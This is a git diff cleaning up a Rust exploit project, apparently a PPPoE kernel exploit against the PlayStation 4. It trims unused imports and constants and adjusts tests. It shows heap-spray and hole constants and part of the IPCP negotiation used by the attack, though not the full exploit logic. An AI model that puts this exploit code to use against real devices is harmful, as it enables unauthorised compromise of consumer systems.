diff --git a/src/constants.rs b/src/constants.rs index e86de37..26dddbd 100644 --- a/src/constants.rs +++ b/src/constants.rs @@ -1,7 +1,4 @@ // PPPoE constants - -use std::f64::consts; - pub const ETHERTYPE_PPPOEDISC: u16 = 0x8863; pub const ETHERTYPE_PPPOESESS: u16 = 0x8864; pub const ETHERTYPE_IPV6: u16 = 0x86dd; @@ -21,13 +18,9 @@ pub const PPPOE_TAG_HEADER_LEN: usize = 4; pub const PPPOE_SOFTC_SC_DEST: u64 = 0x24; pub const SPRAY_NUM: u32 = 0x1000; pub const LCP_ID: u8 = 0x41; -pub const IPCP_ID: u8 = 0x2; -pub const FAKE_IP_ADDR: [u8; 4] = [42, 42, 42, 42]; pub const FAKE_PRIMARY_DNS_SERVER: [u8; 4] = [0, 0, 0, 0]; pub const LCP_CONF_REQ: u8 = 1; pub const LCP_CONF_ACK: u8 = 2; -pub const LCP_CONF_NAK: u8 = 3; -pub const LCP_CONF_REJ: u8 = 4; pub const HOLE_START: u32 = 0x400; pub const HOLE_SPACE: u32 = 0x10; diff --git a/src/exploit.rs b/src/exploit.rs index 28a77a4..2f2eb84 100644 --- a/src/exploit.rs +++ b/src/exploit.rs @@ -6,23 +6,14 @@ use packet::ether; use packet::Builder; use pnet::datalink::Channel::Ethernet; use pnet::datalink::{self, DataLinkReceiver, DataLinkSender, NetworkInterface}; -use pnet::packet::icmp::{echo_request::MutableEchoRequestPacket, IcmpTypes}; -use pnet::packet::icmpv6::{echo_request, Icmpv6, MutableIcmpv6Packet}; +use pnet::packet::icmpv6::MutableIcmpv6Packet; use pnet::packet::ip::IpNextHeaderProtocols; -use pnet::packet::ip::IpNextHeaderProtocols::Icmpv6; -use pnet::packet::Packet; use pnet::packet::{ - ethernet::{EtherTypes, EthernetPacket, MutableEthernetPacket}, + ethernet::{EtherTypes, MutableEthernetPacket}, icmpv6::{Icmpv6Code, Icmpv6Types}, ipv6::MutableIpv6Packet, }; -use pnet::packet::{icmpv6::Icmpv6Packet, ipv6::Ipv6Packet}; -use pnet::transport::{icmp_packet_iter, icmpv6_packet_iter, transport_channel}; -use pnet::transport::{TransportReceiver, TransportSender}; -use pnet::util::checksum; use std::convert::TryInto; -use std::net::Ipv6Addr; -use std::net::{IpAddr, Ipv4Addr}; use std::str::FromStr; // Add this line to bring FromStr into scope use std::sync::atomic::{AtomicBool, Ordering}; use std::sync::Arc; @@ -266,7 +257,7 @@ impl Exploit { .expect("[-] Failed to send IPCP configure NAK packet"); // wait for req conf println!("[*] Waiting for IPCP configure request..."); - let result: Option> = listen_for_packet(rx.as_mut(), is_ipcp_conf_req); + let _result: Option> = listen_for_packet(rx.as_mut(), is_ipcp_conf_req); // let options: Vec = Vec::from(&result.unwrap()[26..42]); // send conf ack println!("[*] Sending IPCP configure ACK..."); @@ -1069,11 +1060,11 @@ where } } +#[cfg(test)] mod tests { use super::*; - use pcap::{Activated, Active, Capture, Inactive, State}; - use pcap::{Offline, Packet}; + use pcap::Capture; fn get_test_ps4_mac() -> [u8; 6] { [0xc8, 0x63, 0xf1, 0x44, 0x45, 0x97] @@ -1432,7 +1423,7 @@ mod tests { let target_mac = get_test_ps4_mac(); let session_data = 0x00; let session_id = constants::PPPOE_SESSION_ID.to_be_bytes(); - let ip_address = constants::FAKE_IP_ADDR; + let ip_address = [42, 42, 42, 42]; let dns = constants::FAKE_PRIMARY_DNS_SERVER; let generated_packet = create_ipcp_conf_ack( @@ -1460,7 +1451,7 @@ mod tests { let target_mac = get_test_ps4_mac(); let session_data = 0x00; let session_id = constants::PPPOE_SESSION_ID.to_be_bytes(); - let ip_address = constants::FAKE_IP_ADDR; + let ip_address = [42, 42, 42, 42]; let generated_packet = create_ipcp_conf_nak( source_mac,